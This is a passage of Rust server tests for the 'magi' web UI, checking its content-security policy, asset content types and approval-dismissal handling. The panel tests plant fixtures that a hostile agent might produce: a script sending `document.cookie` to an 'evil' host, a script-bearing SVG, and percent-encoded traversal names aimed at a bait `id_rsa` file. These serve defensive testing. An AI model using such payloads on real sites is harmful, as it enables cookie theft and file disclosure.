10764        path: &str,
10765        body: Option<&str>,
10766        extra: &[(&str, &str)],
10767    ) -> Res {
10768        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10769        for (name, value) in extra {
10770            head.push_str(&format!("{name}: {value}\r\n"));
10771        }
10772        if let Some(body) = body {
10773            head.push_str("Content-Type: application/json\r\n");
10774            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
10775        }
10776        head.push_str("\r\n");
10777        if let Some(body) = body {
10778            head.push_str(body);
10779        }
10780        let mut socket = tokio::net::TcpStream::connect(addr)
10781            .await
10782            .expect("connect to the test server");
10783        socket
10784            .write_all(head.as_bytes())
10785            .await
10786            .expect("write request");
10787        let mut raw = Vec::new();
10788        socket.read_to_end(&mut raw).await.expect("read response");
10789        // Split on the raw bytes rather than on a lossy string, so a binary
10790        // body survives to be compared byte for byte.
10791        let split = raw
10792            .windows(4)
10793            .position(|w| w == b"\r\n\r\n")
10794            .expect("a header block");
10795        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10796        let bytes = raw[split + 4..].to_vec();
10797        let status = head
10798            .lines()
10799            .next()
10800            .and_then(|line| line.split_whitespace().nth(1))
10801            .and_then(|code| code.parse().ok())
10802            .expect("a status line");
10803        Res {
10804            status,
10805            headers: head.to_lowercase(),
10806            head,
10807            body: String::from_utf8_lossy(&bytes).into_owned(),
10808            bytes,
10809        }
10810    }
10811
10812    /// A `POST` carrying a raw binary body and its own headers, for the
10813    /// attachment upload route - `request_with` only ever sends
10814    /// `Content-Type: application/json`, which is wrong for an image and
10815    /// would corrupt anything not valid UTF-8 by round-tripping it through
10816    /// `&str` first.
10817    async fn request_bytes(
10818        addr: SocketAddr,
10819        path: &str,
10820        headers: &[(&str, &str)],
10821        body: &[u8],
10822    ) -> Res {
10823        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10824        for (name, value) in headers {
10825            head.push_str(&format!("{name}: {value}\r\n"));
10826        }
10827        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10828        let mut socket = tokio::net::TcpStream::connect(addr)
10829            .await
10830            .expect("connect to the test server");
10831        socket
10832            .write_all(head.as_bytes())
10833            .await
10834            .expect("write request head");
10835        socket.write_all(body).await.expect("write request body");
10836        let mut raw = Vec::new();
10837        socket.read_to_end(&mut raw).await.expect("read response");
10838        let split = raw
10839            .windows(4)
10840            .position(|w| w == b"\r\n\r\n")
10841            .expect("a header block");
10842        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10843        let bytes = raw[split + 4..].to_vec();
10844        let status = head
10845            .lines()
10846            .next()
10847            .and_then(|line| line.split_whitespace().nth(1))
10848            .and_then(|code| code.parse().ok())
10849            .expect("a status line");
10850        Res {
10851            status,
10852            headers: head.to_lowercase(),
10853            head,
10854            body: String::from_utf8_lossy(&bytes).into_owned(),
10855            bytes,
10856        }
10857    }
10858
10859    /// A run on disk, without touching the process-global magi home.
10860    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10861        let mut state = RunState::new(
10862            PathBuf::from("/repo/magi"),
10863            "main".to_owned(),
10864            "0123456789abcdef".to_owned(),
10865            "Add a web UI\n\nMobile first.".to_owned(),
10866            Config::default(),
10867        );
10868        state.id = id.to_owned();
10869        state.status = status;
10870        let dir = runs.join(id);
10871        std::fs::create_dir_all(&dir).expect("run dir");
10872        std::fs::write(
10873            dir.join("run.json"),
10874            serde_json::to_string_pretty(&state).expect("serialize run"),
10875        )
10876        .expect("write run.json");
10877    }
10878
10879    /// Same as [`write_run`], but against a named repository rather than the
10880    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
10881    /// spread across more than one.
10882    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10883        let mut state = RunState::new(
10884            PathBuf::from(repo),
10885            "main".to_owned(),
10886            "0123456789abcdef".to_owned(),
10887            "task".to_owned(),
10888            Config::default(),
10889        );
10890        state.id = id.to_owned();
10891        state.status = status;
10892        let dir = runs.join(id);
10893        std::fs::create_dir_all(&dir).expect("run dir");
10894        std::fs::write(
10895            dir.join("run.json"),
10896            serde_json::to_string_pretty(&state).expect("serialize run"),
10897        )
10898        .expect("write run.json");
10899    }
10900
10901    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10902        let body = serde_json::json!({
10903            "schema": 1,
10904            "pid": 4242,
10905            "started_at": Timestamp::now().to_string(),
10906            "updated_at": updated_at.to_string(),
10907            "idle": false,
10908            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10909            "completed": 7,
10910            "polls": 143,
10911        });
10912        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10913    }
10914
10915    /// A loop that starts, finds nothing to do, and waits to be told to stop.
10916    ///
10917    /// No test in this file may start the real loop - see [`Ui::launch`] for
10918    /// why - so this stands in for the only thing the routes need a loop to
10919    /// do: keep running until `Stop` is set, then return. A real
10920    /// `serve_until` here would resolve its queue and its status file through
10921    /// the process-global magi home, claim whatever it found in the
10922    /// operator's live backlog, overwrite the status file of the `magi serve`
10923    /// that owns it, and spend real agent quota on a real competition.
10924    fn launch_idle(
10925        _opts: daemon::Opts,
10926        stop: daemon::Stop,
10927    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10928        Box::pin(async move {
10929            while !stop.stopped() {
10930                tokio::time::sleep(Duration::from_millis(2)).await;
10931            }
10932            Ok(())
10933        })
10934    }
10935
10936    /// A loop that fails on the way up, the way one whose home has gone
10937    /// read-only does.
10938    fn launch_broken(
10939        _opts: daemon::Opts,
10940        _stop: daemon::Stop,
10941    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10942        // The stand-in dies instantly, so a restarted one can record its own
10943        // failure before the start's response is read. The second attempt
10944        // therefore fails with a different message, to tell a stale error
10945        // from a fresh one.
10946        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10947        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10948        Box::pin(async move {
10949            Err(anyhow::anyhow!(if first {
10950                "publish the daemon status file: read-only file system"
10951            } else {
10952                "the restarted stand-in failed as well"
10953            }))
10954        })
10955    }
10956
10957    /// The address the parking loop knocks on, and what it heard there.
10958    ///
10959    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
10960    /// capture a fixture's address; this is how it is handed one. Only
10961    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
10962    /// these, so nothing else in this binary can race them.
10963    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
10964    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
10965
10966    /// A loop that, once it is asked to stop, checks the deck still answers
10967    /// before it goes.
10968    ///
10969    /// It stands in for a run mid-node: `finish_loop` waits for this future,
10970    /// so the request it makes is strictly inside the park window - no sleep
10971    /// and no polling needed to be sure of that.
10972    fn launch_knocking_on_the_way_out(
10973        _opts: daemon::Opts,
10974        stop: daemon::Stop,
10975    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10976        Box::pin(async move {
10977            while !stop.stopped() {
10978                tokio::time::sleep(Duration::from_millis(2)).await;
10979            }
10980            let addr = PARK_KNOCK
10981                .lock()
10982                .expect("park knock")
10983                .expect("the test set an address");
10984            let heard = request(addr, "GET", "/api/health", None).await.status;
10985            *PARK_HEARD.lock().expect("park heard") = Some(heard);
10986            Ok(())
10987        })
10988    }
10989
10990    /// The loop view once `want` accepts it.
10991    ///
10992    /// Polled rather than asserted straight after the POST because stopping
10993    /// is deliberately not instant - that is the contract - and rather than
10994    /// slept through because a fixed wait is either flaky or slow.
10995    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
10996    /// finite, so a genuine hang fails the test instead of hanging the
10997    /// suite.
10998    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
10999        for _ in 0..SETTLE_STEPS {
11000            let view = fx.get("/api/loop").await.json();
11001            if want(&view) {
11002                return view;
11003            }
11004            tokio::time::sleep(Duration::from_millis(10)).await;
11005        }
11006        panic!(
11007            "the loop never settled: {}",
11008            fx.get("/api/loop").await.json()
11009        );
11010    }
11011
11012    /// File an open question directly in the store the server reads.
11013    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11014        let store = fx.questions();
11015        let mut q = Question::new(
11016            "20260902-000000-beef".to_owned(),
11017            "implement".to_owned(),
11018            "impl-A".to_owned(),
11019            summary.to_owned(),
11020            "because it matters".to_owned(),
11021            choices.iter().map(|c| (*c).to_owned()).collect(),
11022        );
11023        store.put(&mut q).expect("put question");
11024        q.id
11025    }
11026
11027    /// A question with a panel the server can serve, plus the named assets.
11028    ///
11029    /// Written through `Questions::put_panel` rather than by laying out the
11030    /// directory here, so these tests exercise the same on-disk shape the
11031    /// agents produce and cannot pass against a layout only the tests know.
11032    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11033        let store = fx.questions();
11034        let mut q = Question::new(
11035            "20260902-000000-beef".to_owned(),
11036            "land".to_owned(),
11037            "fix".to_owned(),
11038            "Merge this?".to_owned(),
11039            "the diff is in the panel".to_owned(),
11040            vec!["merge".to_owned(), "hold".to_owned()],
11041        );
11042        // Staged outside the questions root, because `put_panel` copies from
11043        // wherever the agent left its files.
11044        let staging = fx.home.path().join("staging");
11045        std::fs::create_dir_all(&staging).expect("staging dir");
11046        let sources: Vec<PathBuf> = assets
11047            .iter()
11048            .map(|(name, bytes)| {
11049                let path = staging.join(name);
11050                std::fs::write(&path, bytes).expect("write staged asset");
11051                path
11052            })
11053            .collect();
11054        store
11055            .put_panel(&mut q, html, &sources)
11056            .expect("write the panel");
11057        store.put(&mut q).expect("put question");
11058        q.id
11059    }
11060
11061    /// A talk on disk, without talking to a model.
11062    ///
11063    /// Written as JSON straight into the store the server reads, because the
11064    /// only constructor `talk::begin` offers takes no turn but still requires
11065    /// a real caller-visible flow. The one thing this cannot make up is the
11066    /// seat, so it is built with the real `SeatState::new` and serialized -
11067    /// the alternative, hand-writing that object, would make these tests fail
11068    /// the day the seat gains a field.
11069    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11070        seed_talk_at(&fx.talks(), id, status)
11071    }
11072
11073    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11074        std::fs::create_dir_all(store.root()).expect("talks dir");
11075        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11076            .expect("serialize a seat");
11077        let body = serde_json::json!({
11078            "schema": 1,
11079            "id": id,
11080            "repo": "/repo/magi",
11081            "agent": "mock",
11082            "status": status,
11083            "turns": [],
11084            "created_at": Timestamp::now().to_string(),
11085            "updated_at": Timestamp::now().to_string(),
11086            "seat": seat,
11087        });
11088        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11089        store.get(id).expect("the seeded talk has to be readable");
11090        id.to_owned()
11091    }
11092
11093    #[tokio::test]
11094    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11095        let fx = Fixture::start().await;
11096        let id = panel(
11097            &fx,
11098            "<h1>Merge?</h1><img src=\"diff.svg\">",
11099            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11100        );
11101
11102        for path in [
11103            format!("/api/questions/{id}/panel"),
11104            format!("/api/questions/{id}/asset/diff.svg"),
11105        ] {
11106            let res = fx.get(&path).await;
11107            assert_eq!(res.status, 200, "{path}: {}", res.body);
11108            // The whole string, not a substring. A weakened directive - an
11109            // `img-src *` that lets a panel beacon out to a remote host, a
11110            // `script-src` anything, a missing `form-action` that lets it post
11111            // the owner's decision to a third party - has to fail here, and a
11112            // `contains` assertion would let every one of those through.
11113            assert_eq!(
11114                res.header("content-security-policy"),
11115                Some(
11116                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11117                     font-src data:; base-uri 'none'; form-action 'none'; \
11118                     frame-ancestors 'self'"
11119                ),
11120                "{path} is the only thing between a hostile panel and the tailnet"
11121            );
11122            assert_eq!(
11123                res.header("x-content-type-options"),
11124                Some("nosniff"),
11125                "{path}: a browser must not re-decide the type we sent"
11126            );
11127            assert_eq!(
11128                res.header("referrer-policy"),
11129                Some("no-referrer"),
11130                "{path}: a panel must not leak the question id off the machine"
11131            );
11132
11133            // The front end mounts the frame only after a `HEAD` says the
11134            // panel is there, so `HEAD` has to answer with the same status and
11135            // the same policy as `GET` - a preflight that came back without
11136            // the CSP would mean a frame mounted on an unverified promise.
11137            let pre = fx.head(&path).await;
11138            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11139            assert_eq!(
11140                pre.header("content-security-policy"),
11141                res.header("content-security-policy"),
11142                "{path}: the preflight carries the same policy"
11143            );
11144            assert_eq!(
11145                pre.header("content-type"),
11146                res.header("content-type"),
11147                "{path}: the preflight carries the same type"
11148            );
11149        }
11150    }
11151
11152    #[tokio::test]
11153    async fn a_panel_reaches_the_browser_byte_for_byte() {
11154        let fx = Fixture::start().await;
11155        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11156        // tag, an entity, and a multi-byte character. The sandbox is what makes
11157        // this safe, so nothing here may be rewritten on the way out - a
11158        // rewritten diff is a diff the owner cannot trust.
11159        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11160        let id = panel(&fx, html, &[]);
11161
11162        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11163
11164        assert_eq!(res.status, 200);
11165        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11166        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11167        assert_eq!(
11168            res.header("content-disposition"),
11169            None,
11170            "the panel itself is rendered in the frame, not downloaded"
11171        );
11172    }
11173
11174    #[tokio::test]
11175    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11176        let fx = Fixture::start().await;
11177        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11178        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11179        let id = panel(
11180            &fx,
11181            "<img src=\"diff.svg\"><img src=\"shot.png\">",
11182            &[("diff.svg", svg), ("shot.png", png)],
11183        );
11184
11185        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11186        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11187
11188        assert_eq!(as_svg.status, 200);
11189        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11190        // An SVG is XML that may carry script. Inside the panel it is an
11191        // `<img src>` and the script cannot run; opened at the top level it
11192        // would be a document on magi's own origin, so the browser is told to
11193        // download it instead of rendering it.
11194        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11195
11196        assert_eq!(as_png.status, 200);
11197        assert_eq!(as_png.header("content-type"), Some("image/png"));
11198        assert_eq!(
11199            as_png.header("content-disposition"),
11200            None,
11201            "a raster image has no execution surface, so tapping it still shows it"
11202        );
11203        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11204    }
11205
11206    #[tokio::test]
11207    async fn an_html_asset_is_never_served_as_html() {
11208        let fx = Fixture::start().await;
11209        let id = panel(
11210            &fx,
11211            "<p>see the notes</p>",
11212            &[
11213                (
11214                    "notes.html",
11215                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11216                ),
11217                ("hook.js", b"fetch('http://evil/')"),
11218                ("data.json", b"{}"),
11219                ("HEADLINE.TXT", b"plain"),
11220            ],
11221        );
11222
11223        for name in ["notes.html", "hook.js", "data.json"] {
11224            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11225            assert_eq!(res.status, 200, "{name}: {}", res.body);
11226            // Serving this as text/html would be a way to reach agent markup
11227            // at the top level of the operator's browser, outside the frame's
11228            // sandbox and outside its CSP - which is the whole thing the panel
11229            // design exists to prevent. Unlisted types are downloads.
11230            assert_eq!(
11231                res.header("content-type"),
11232                Some("application/octet-stream"),
11233                "{name} must not be a type the browser will execute or render"
11234            );
11235        }
11236        // The whitelist is matched case-insensitively, so an agent shouting the
11237        // extension still gets a readable file rather than a download.
11238        let txt = fx
11239            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11240            .await;
11241        assert_eq!(
11242            txt.header("content-type"),
11243            Some("text/plain; charset=utf-8")
11244        );
11245    }
11246
11247    #[tokio::test]
11248    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11249        let fx = Fixture::start().await;
11250        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11251        // Something outside the panel directory that a traversal would reach if
11252        // one got through, so a passing test is not merely "the file was
11253        // missing anyway".
11254        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11255
11256        // Decoded before this server's handler sees them: axum percent-decodes
11257        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
11258        // string with a NUL in it. All three look like ordinary single-segment
11259        // filenames to the router, so the router passes them through and
11260        // `valid_asset_name` is what refuses them - for the literal `..`, and
11261        // for `/`, `\` and NUL not being in the permitted character set.
11262        for encoded in [
11263            "%2e%2e%2fid_rsa",
11264            "..%2fid_rsa",
11265            "..%5cid_rsa",
11266            "%2e%2e%5cid_rsa",
11267            "diff%00.svg",
11268            "..",
11269            ".hidden",
11270            "%2e%2e%2f%2e%2e%2fid_rsa",
11271        ] {
11272            let res = fx
11273                .get(&format!("/api/questions/{id}/asset/{encoded}"))
11274                .await;
11275            assert_eq!(
11276                res.status, 400,
11277                "`{encoded}` has to be refused by name, not looked up: {}",
11278                res.body
11279            );
11280            assert!(res.json()["error"].is_string(), "{}", res.body);
11281        }
11282
11283        // Not decoded, and never this handler's problem: a real slash makes the
11284        // request one segment too long for `/api/questions/{id}/asset/{name}`,
11285        // so axum's router has no route to match and answers before any code
11286        // here runs. Asserted so that a future route with a wildcard segment
11287        // cannot quietly open this door.
11288        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11289            let res = fx
11290                .get(&format!("/api/questions/{id}/asset/{literal}"))
11291                .await;
11292            assert_eq!(
11293                res.status, 404,
11294                "`{literal}` must not match the asset route at all: {}",
11295                res.body
11296            );
11297        }
11298    }
11299
11300    #[tokio::test]
11301    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11302        let fx = Fixture::start().await;
11303        let plain = ask(&fx, "Which backend?", &["SQLite"]);
11304        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11305
11306        // A question nobody wrote a panel for. The client preflights with HEAD
11307        // and cannot see inside a sandboxed frame, so this must be a status and
11308        // not an empty page.
11309        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11310        assert_eq!(none.status, 404, "{}", none.body);
11311        assert!(none.json()["error"].is_string(), "{}", none.body);
11312        assert_eq!(
11313            fx.head(&format!("/api/questions/{plain}/panel"))
11314                .await
11315                .status,
11316            404,
11317            "the preflight is the only way the client can learn this"
11318        );
11319
11320        // A name that is perfectly legal and simply is not there.
11321        let missing = fx
11322            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11323            .await;
11324        assert_eq!(missing.status, 404, "{}", missing.body);
11325        assert!(missing.json()["error"].is_string(), "{}", missing.body);
11326
11327        // A question that does not exist at all, on both routes.
11328        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11329        assert_eq!(
11330            fx.get("/api/questions/nope/asset/diff.svg").await.status,
11331            404
11332        );
11333    }
11334
11335    #[tokio::test]
11336    async fn a_run_with_an_open_question_reads_as_waiting() {
11337        let fx = Fixture::start().await;
11338        let run = "20260902-000000-beef".to_owned();
11339        write_run(&fx.runs(), &run, RunStatus::Implementing);
11340
11341        let before = fx.get("/api/runs").await.json();
11342        assert_eq!(before[0]["waiting"], false, "{before}");
11343
11344        let store = fx.questions();
11345        let mut q = Question::new(
11346            run.clone(),
11347            "implement".to_owned(),
11348            "impl-A".to_owned(),
11349            "Which backend?".to_owned(),
11350            String::new(),
11351            vec!["SQLite".to_owned()],
11352        );
11353        store.put(&mut q).expect("put");
11354
11355        let during = fx.get("/api/runs").await.json();
11356        assert_eq!(during[0]["waiting"], true, "{during}");
11357
11358        // Answered: the run is moving again, and the flag has to follow without
11359        // anything having rewritten run.json.
11360        q.answer(Answer::Choice("SQLite".to_owned()))
11361            .expect("answer");
11362        store.put(&mut q).expect("put");
11363        let after = fx.get("/api/runs").await.json();
11364        assert_eq!(after[0]["waiting"], false, "{after}");
11365    }
11366
11367    #[tokio::test]
11368    async fn an_open_question_is_listed_and_counted_by_health() {
11369        let fx = Fixture::start().await;
11370        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11371
11372        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11373        let listed = fx.get("/api/questions").await.json();
11374        assert_eq!(listed.as_array().expect("array").len(), 1);
11375        assert_eq!(listed[0]["id"], id);
11376        assert_eq!(listed[0]["status"], "open");
11377        assert_eq!(listed[0]["choices"][1], "Redis");
11378        // The count is what makes the phone's indicator honest: it is the one
11379        // number meaning nothing will move until a human acts.
11380        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11381    }
11382
11383    fn obsolete_approval_state() -> RunState {
11384        let mut state = crate::land::tests::repair_state(true, true);
11385        state.pr = Some(crate::run::PrRecord {
11386            url: "https://github.com/example/repo/pull/42".into(),
11387            number: 42,
11388            state: "open".into(),
11389            checks: "green".into(),
11390            round: 1,
11391            rounds: 4,
11392            red_at_merge: Vec::new(),
11393        });
11394        state
11395    }
11396
11397    #[tokio::test]
11398    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11399        for owner in ["missing", "current", "completed", "later"] {
11400            let fx = Fixture {
11401                home: TempDir::new().unwrap(),
11402                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11403            };
11404            let mut state = obsolete_approval_state();
11405            state.status = RunStatus::Landing;
11406            state.parked = true;
11407            state.driver_exited = true;
11408            let mut q = Question::new(
11409                state.id.clone(),
11410                crate::land::APPROVAL_NODE.into(),
11411                "land".into(),
11412                "Old approval".into(),
11413                "Original evidence".into(),
11414                vec!["merge".into(), "hold".into()],
11415            );
11416            state.land_approval = Some(crate::run::LandApproval {
11417                question: q.id.clone(),
11418                head: "head".into(),
11419            });
11420            state.save_under(fx.home.path()).unwrap();
11421            let stale = state.clone();
11422            fx.questions().put(&mut q).unwrap();
11423            let mut task = Task::new(
11424                "Owner".into(),
11425                "Original instruction".into(),
11426                state.repo.clone(),
11427                Source::Human,
11428            );
11429            task.runs.push(state.id.clone());
11430            task.status = if owner == "completed" {
11431                TaskStatus::Done
11432            } else {
11433                TaskStatus::Parked
11434            };
11435            if owner == "later" {
11436                task.runs.push("later-run".into());
11437            }
11438            if owner != "missing" {
11439                fx.queue().put(&mut task).unwrap();
11440            }
11441            let ui = Arc::new(Ui::new(
11442                fx.queue(),
11443                fx.questions(),
11444                fx.talks(),
11445                fx.runs(),
11446                fx.home.path().into(),
11447                state.repo.clone(),
11448            ));
11449            let response = question_answer(
11450                State(ui),
11451                Path(q.id.clone()),
11452                Ok(Json(NewAnswer {
11453                    choice: Some(crate::merge_decision::DISMISS.into()),
11454                    text: None,
11455                })),
11456            )
11457            .await
11458            .unwrap();
11459            assert_eq!(
11460                response.0.question.resolution().as_deref(),
11461                Some(crate::merge_decision::DISMISS)
11462            );
11463            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11464            assert_eq!(disk.status, RunStatus::Superseded);
11465            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11466            assert!(!crate::merge_decision::resumable_hold(&disk));
11467            assert_eq!(
11468                serde_json::to_value(&disk.pr).unwrap(),
11469                serde_json::to_value(&stale.pr).unwrap()
11470            );
11471            assert_eq!(fx.questions().count_open(), 0);
11472            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11473            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11474            if owner == "missing" {
11475                assert!(fx.queue().list().is_empty());
11476            } else {
11477                let after = fx.queue().get(&task.id).unwrap();
11478                assert_eq!(
11479                    after.status,
11480                    if owner == "current" {
11481                        TaskStatus::Done
11482                    } else {
11483                        task.status
11484                    }
11485                );
11486                assert_eq!(after.runs, task.runs);
11487                assert_eq!(after.instruction, task.instruction);
11488                assert_eq!(after.action_applied(&q.id), owner == "current");
11489            }
11490        }
11491    }
11492
11493    #[tokio::test]
11494    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11495        let fx = Fixture::start().await;
11496        let mut state = obsolete_approval_state();
11497        state.status = RunStatus::Landing;
11498        state.parked = true;
11499        state.driver_exited = true;
11500        let mut q = Question::new(
11501            state.id.clone(),
11502            crate::land::APPROVAL_NODE.into(),
11503            "land".into(),
11504            "Superseded PR approval".into(),
11505            "Original review evidence".into(),
11506            vec!["merge".into(), "hold".into()],
11507        );
11508        state.land_approval = Some(crate::run::LandApproval {
11509            question: q.id.clone(),
11510            head: "old-reviewed-head".into(),
11511        });
11512        // The old persisted PR may still say open even when a separate change
11513        // already landed. Dismissal must not use that snapshot to close it.
11514        state.save_under(fx.home.path()).unwrap();
11515        let stale_driver = state.clone();
11516        fx.questions().put(&mut q).unwrap();
11517        let path = fx
11518            .home
11519            .path()
11520            .join("questions")
11521            .join(format!("{}.json", q.id));
11522        let mut legacy = serde_json::to_value(&q).unwrap();
11523        legacy["schema"] = 9.into();
11524        legacy.as_object_mut().unwrap().remove("merge_target");
11525        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11526
11527        // POST without GET tests legacy upgrade and validation at the actual
11528        // entry point, rather than constructing a modern card in the test.
11529        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11530        let answer_path = format!("/api/questions/{}/answer", q.id);
11531        let res = fx.post(&answer_path, Some(&body)).await;
11532        assert_eq!(res.status, 200, "{}", res.body);
11533        let disk = fx.questions().get(&q.id).unwrap();
11534        assert_eq!(
11535            disk.resolution().as_deref(),
11536            Some(crate::merge_decision::DISMISS)
11537        );
11538        assert!(disk.detail.starts_with("Original review evidence"));
11539        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11540        assert_eq!(retired.status, RunStatus::Superseded);
11541        assert_eq!(
11542            serde_json::to_value(&retired.pr).unwrap(),
11543            serde_json::to_value(&state.pr).unwrap()
11544        );
11545        assert!(!retired.merge_decision.as_ref().unwrap().closed);
11546        assert!(!crate::merge_decision::resumable_hold(&retired));
11547        assert!(fx.queue().list().is_empty());
11548        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11549        // A restarted server re-reads the persisted pending list.
11550        let addr = Fixture::serve(
11551            fx.home.path(),
11552            PathBuf::from("/repo/magi"),
11553            launch_idle,
11554            None,
11555        )
11556        .await;
11557        let reconnected = Fixture {
11558            home: fx.home,
11559            addr,
11560        };
11561        let listed = reconnected.get("/api/questions").await.json();
11562        assert!(
11563            listed
11564                .as_array()
11565                .unwrap()
11566                .iter()
11567                .all(|q| q["status"] != "open")
11568        );
11569        assert_eq!(listed[0]["id"], q.id, "history remains available");
11570        assert_eq!(
11571            reconnected.get("/api/health").await.json()["questions_open"],
11572            0
11573        );
11574        assert_eq!(
11575            reconnected
11576                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11577                .await
11578                .status,
11579            409
11580        );
11581        // A late waiter cannot turn the old answer into a new decision.
11582        assert!(
11583            reconnected
11584                .questions()
11585                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11586                .is_err()
11587        );
11588        // The same guard used by claims, repair and publication rejects a
11589        // saved in-memory driver as well as the persisted terminal record.
11590        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11591    }
11592
11593    #[tokio::test]
11594    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11595        let fx = Fixture::start().await;
11596        let mut state = obsolete_approval_state();
11597        state.status = RunStatus::Landing;
11598        state.driver_exited = true;
11599        let mut q = Question::new(
11600            state.id.clone(),
11601            crate::land::APPROVAL_NODE.into(),
11602            "land".into(),
11603            "Obsolete approval".into(),
11604            String::new(),
11605            vec!["merge".into(), "hold".into()],
11606        );
11607        state.land_approval = Some(crate::run::LandApproval {
11608            question: q.id.clone(),
11609            head: "head".into(),
11610        });
11611        state.save_under(fx.home.path()).unwrap();
11612        fx.questions().put(&mut q).unwrap();
11613        let mut task = Task::new(
11614            "Owner".into(),
11615            "Original instruction".into(),
11616            state.repo.clone(),
11617            Source::Human,
11618        );
11619        task.runs = vec![state.id.clone(), "later-run".into()];
11620        fx.queue().put(&mut task).unwrap();
11621        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11622        let claim = fx.queue().claim(&task.id).unwrap();
11623        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11624        let path = format!("/api/questions/{}/answer", q.id);
11625        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11626        assert!(fx.questions().get(&q.id).unwrap().status.open());
11627        drop(claim);
11628        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11629        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11630        assert!(fx.questions().get(&q.id).unwrap().status.open());
11631        drop(publication);
11632        // Unknown liveness and armed auto-merge both fail without settling.
11633        state.driver_exited = false;
11634        state.driver_pid = None;
11635        state.save_under(fx.home.path()).unwrap();
11636        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11637        state.driver_exited = true;
11638        state.land_armed_head = Some("head".into());
11639        state.save_under(fx.home.path()).unwrap();
